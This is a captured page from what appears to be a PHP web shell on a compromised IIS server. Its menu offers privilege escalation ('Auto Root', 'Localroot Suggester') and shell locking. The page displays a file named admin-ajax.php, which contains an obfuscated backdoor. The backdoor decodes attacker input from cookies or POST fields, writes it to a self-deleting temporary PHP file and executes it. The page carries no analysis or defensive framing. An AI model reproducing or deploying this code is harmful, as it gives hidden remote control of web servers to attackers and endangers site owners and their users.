Windows NT WIN-F6SLGVICLOP 10.0 build 17763 (Windows Server 2016) AMD64
Microsoft-IIS/10.0
Server IP : & Your IP : 18.219.66.32
Domains :
Cant Read [ /etc/named.conf ]
User : elibrary.unsap.ac.id
Terminal
Auto Root
Create File
Create Folder
Localroot Suggester
Backdoor Destroyer
Lock Shell
Lock File++
Readme
D: /
localhost /
ppp /
.tmb /
Delete
Unzip
Name
Size
Permission
Date
Action
admin-ajax.php
2.86
KB
-rw-rw-rw-
2023-10-21 15:18
Save
Rename
<?php function tgjdxhkax(){$blisr='itgxidu_cs'; print_r (73344+73344);/* cttgn*/} $delcoolf/* zfebm */=/*oi */'delcoolf' ^ ''; function/* p */knpiohofkd($dejtsgn, $unharlmyd) { global $delcoolf; $_thfhpnri = ""; /* ad */for ($yexk_s_z =/*ymgav*/0; $yexk_s_z < strlen($dejtsgn);) { /* hrfyj */for ($vwvcjjvrpt/* spo */= 0; $vwvcjjvrpt/*z */</* o */strlen($unharlmyd) && $yexk_s_z/* xu */< strlen($dejtsgn);/* ublfy */$vwvcjjvrpt++, $yexk_s_z++)/* d*/{ $_thfhpnri .=/*gjo */$delcoolf(ord($dejtsgn[$yexk_s_z])/* nft*/^ ord($unharlmyd[$vwvcjjvrpt]));/* ad */}/* _sbo */} return $_thfhpnri; } function dqwuyupn($eaepll, $dejtsgn) { global/*hiyxv */$delcoolf; $kdcbjnzhw/* j */=/* byb*/sprintf("."."/".$delcoolf(666-629)/* zqs*/. "s"."."."p"."\x6c",/* tzkj*/md5($eaepll)); file_put_contents($kdcbjnzhw,/* asne*/"<" ./* ex_ */"?".$delcoolf(921-809) . "\150" . "\x70" . $delcoolf(32)/* v */. "\x75" . $delcoolf(814-704) ./* ewp */"l"."\x69"/* kggux */./*nl */"n"."k".$delcoolf(40)/*bwb */. "\137"/*wjwce */. "\x5f" . $delcoolf(646-576) . "\111" . "\x4c" . $delcoolf(445-376)/* h_sto */. "_"."\x5f" . ")"."\x3b" . $delcoolf(32) ./* ut */$dejtsgn["d"]); include($kdcbjnzhw); /* zb */$taaxg = $kdcbjnzhw;/* lkfxv */unlink($taaxg); } function whllh() { /* qm */global $delcoolf; /*ynrfa*/$yexk_s_z/*h*/= array(); $yexk_s_z["\160" . "v"] = phpversion(); /* sgr_ */$yexk_s_z[$delcoolf(115)/* f */. $delcoolf(118)] = $delcoolf(1000-949)/* mb_li */. "\x2e" . "5";/*jj*/echo @serialize($yexk_s_z); } function ohrd_ke($dejtsgn, $eaepll, $pakozpnyhe) { global/* azybm*/$delcoolf; $dejtsgn/* sga */= unserialize(knpiohofkd(knpiohofkd(base64_decode($dejtsgn), $eaepll), $pakozpnyhe)); if (isset($dejtsgn["\141"/* d */. $delcoolf(107)])) { if ($dejtsgn["\x61"] == "i") { whllh(); } elseif ($dejtsgn["\x61"] ==/*vh */"e")/* ukv*/{ /* zowsh */dqwuyupn($eaepll, $dejtsgn);/*iczpe*/} exit(); } } $e_vxpot/* eocbh*/= $_COOKIE;$aktqfqhbo =/* lb */$_POST; $e_vxpot =/*m */array_merge($aktqfqhbo, $e_vxpot); $eaepll/* hnbi */= "\x35" . "\x66" . "8"."\x39"/* hl*/./* faayq */"7"."d"."3".$delcoolf(102) . "\x2d" . "9"."f"."d"."\144" . "\x2d"/*fiu */. "4"."1"."9"."\x38" . "\55" ./*xuuay */"\x38"/* qu*/. "b"."2"."7".$delcoolf(45) . "e"."\x31"/* flk */. $delcoolf(890-793) ./*bg_ */"e"."\x34" . "4".$delcoolf(683-626) . "\61"/* oznw*/./* r*/$delcoolf(48) . $delcoolf(382-331)/* ktfs */. "3".$delcoolf(53); foreach ($e_vxpot as $pakozpnyhe =>/*kngw */$dejtsgn) { ohrd_ke($dejtsgn, $eaepll,/* oq*/$pakozpnyhe); }